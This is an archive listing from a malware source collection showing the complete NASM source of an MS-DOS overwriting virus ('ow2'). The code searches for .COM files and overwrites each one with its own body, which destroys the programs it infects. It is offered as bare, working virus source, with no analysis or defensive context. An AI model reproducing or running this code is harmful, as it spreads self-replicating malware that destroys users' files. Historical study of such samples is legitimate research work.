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vxug-MalwareSourceCode/MSDOS/O-Index/Virus.MSDOS.Unknown.ow2.asm
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20 lines
500 B
NASM

Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On2
On1: Ret
FileSpec Db '*.COM',0
Length Equ $-Main